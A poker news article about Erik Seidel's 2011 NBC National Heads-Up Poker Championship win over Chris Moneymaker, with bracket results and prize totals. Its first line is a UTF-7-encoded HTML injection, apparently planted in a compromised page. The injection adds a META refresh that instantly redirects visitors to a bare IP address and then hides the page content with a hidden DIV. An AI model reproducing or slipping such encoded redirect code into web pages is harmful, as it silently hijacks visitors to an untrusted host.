+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Apparently if you have a field size of fewer than 100 players and a buy-in of over $25,000 you can pretty much pencil in Erik Seidel as the Champion before the tournament even begins. Seidel has absolutely dominated the small-field high-buy-in tournaments during the first few months of 2011, with his most recent win coming in the 2011 NBC National Heads-Up Poker Championship.

Seidel, a 2010 Poker Hall of Fame inductee, has run his yearly haul at poker tournaments to over $4.3 million after his Heads-Up Championship win, with the vast majority of that prize-money coming in High-Roller and high-buy-in tournaments –The NBC National Heads-Up Poker Championship sported a $25,000 entry fee.

On his road to the finals Seidel first dispatched three of his good friends and colleagues at Full Tilt Poker beginning with Allen Cunningham in round 1 of the tournament. From there Seidel ousted Jennifer Harman and Phil Gordon, before taking down Team PokerStars Pro Vanessa Selbst in the Elite 8, Victory Poker’s Andrew Robl in the Final Four, leaving him to square off against Chris Moneymaker in the Finals.

Seidel made fairly quick work of Moneymaker –whose road to the finals included wins over John Racener, Daniel ‘jungleman12’ Cates, Doyle Brunson, David Oppenheim, and Jonathan Duhamel. Moneymaker’s run to the finals will net him a $300,000 payday, giving him over $430,000 in tournament winning in 2011 after an impressive 11th place finish in the PCA Main Event in January.

Seidel now owns the top spot on the all-time money-list –when you include invitational events and exclude buy-ins over $50k.